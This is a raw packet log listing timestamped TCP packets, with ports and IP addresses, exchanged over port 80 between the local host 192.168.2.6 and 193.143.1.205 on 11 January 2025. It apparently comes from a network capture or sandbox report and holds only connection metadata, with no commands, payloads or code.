Jan 11, 2025 05:54:00.823365927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.823376894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.823388100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.823421001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.823456049 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.823502064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.823513985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.823565006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.823627949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.823640108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.823649883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.823688984 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.824471951 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.826972961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.826988935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.827007055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.827019930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.827019930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.827035904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.827052116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.827091932 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.827121019 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.828854084 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.856872082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.856909037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.856962919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.888710022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.888751030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.888797045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.888833046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.888834953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.888849974 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.888891935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.888925076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.888936996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.888962030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.888998032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.889007092 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.889100075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.889133930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.889146090 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.911607027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.911665916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.911703110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.911739111 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.911747932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.911787033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.911787987 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.911840916 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.920802116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.920860052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.920895100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.920921087 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.921040058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.921075106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.921087980 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.921113014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.921159983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.921166897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.921204090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.921238899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.921242952 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.921274900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.921323061 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.943620920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.943656921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.943696976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.943715096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.943749905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.943795919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.943803072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.943834066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.943873882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.943876028 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.943950891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.943984985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.943996906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.944021940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944071054 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.944076061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944130898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944175959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.944184065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944221973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944257021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944269896 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.944310904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944346905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944377899 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.944403887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944454908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944458961 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.944509983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944545984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944555998 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.944600105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944636106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944648981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.944674015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944710970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944724083 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.944766045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944801092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944812059 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.944835901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944876909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.944886923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944926023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944958925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.944969893 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.944996119 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945029974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945043087 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.945066929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945101976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945111036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.945138931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945175886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945188046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.945230007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945266008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945276976 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.945301056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945337057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945348978 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.945389986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945425034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945437908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.945462942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945498943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945502996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.945537090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945574045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945583105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.945610046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945655107 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.945666075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945702076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945736885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945749044 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.945790052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945836067 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.945843935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945878983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945913076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945920944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.945947886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945985079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.945998907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.946027040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.946062088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.946073055 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.946096897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.946134090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.946141005 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.946171999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.946212053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.951741934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.951772928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.951826096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.951841116 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.951863050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.951898098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.951911926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.951935053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.951972008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.951986074 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.952059984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952095032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952117920 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.952130079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952164888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952173948 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.952203035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952238083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952251911 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.952274084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952318907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.952327013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952358961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952399969 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.952409983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952445030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952480078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952490091 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.952516079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952559948 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.952569008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952624083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952656984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952670097 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.952694893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952744961 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.952748060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952785969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952820063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952831984 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.952872038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952907085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952917099 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.952944994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.952989101 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.952996969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.953033924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.953072071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.953078985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.953105927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.953159094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.981381893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.981457949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.981497049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.981537104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.981538057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.981578112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.981590986 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.981612921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.981650114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.981663942 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.981688976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.981734991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.004041910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.004098892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.004134893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.004168987 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.004268885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.004303932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.004316092 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.004342079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.004371881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.004388094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.004407883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.004455090 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.013268948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.013329029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.013365030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.013390064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.013402939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.013441086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.013449907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.013494015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.013530016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.013541937 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.013565063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.013609886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.020747900 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.036096096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.036154032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.036191940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.036252975 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.036294937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.036330938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.036349058 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.036367893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.036402941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.036416054 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.036489964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.036540031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.036544085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.036581993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.036616087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.036627054 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.036654949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.036693096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.036706924 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.036761045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.036808968 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.036829948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.036864996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.036901951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.036906958 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.036940098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.036984921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.037172079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.037206888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.037242889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.037252903 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.037280083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.037314892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.037347078 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.037349939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.037384987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.037398100 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.037420988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.037477016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.037520885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.037543058 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.037575960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.037602901 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.037611008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.037659883 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.037668943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.037704945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.037743092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.037756920 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.037779093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.037890911 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.037897110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.037935972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.037971020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.037985086 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.038007021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038041115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038053989 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.038077116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038113117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038125038 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.038151979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038203955 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.038239956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038274050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038309097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038320065 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.038345098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038379908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038388014 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.038414955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038451910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038460970 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.038506031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038542986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038552999 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.038578987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038614035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038642883 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.038650990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038696051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038707018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.038743973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038778067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038789034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.038898945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038948059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.038978100 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.038985014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.039021969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.039026022 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.039055109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.039091110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:01.039100885 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:01.045104980 CET	80	49709	193.143.1.205	192.168.2.6
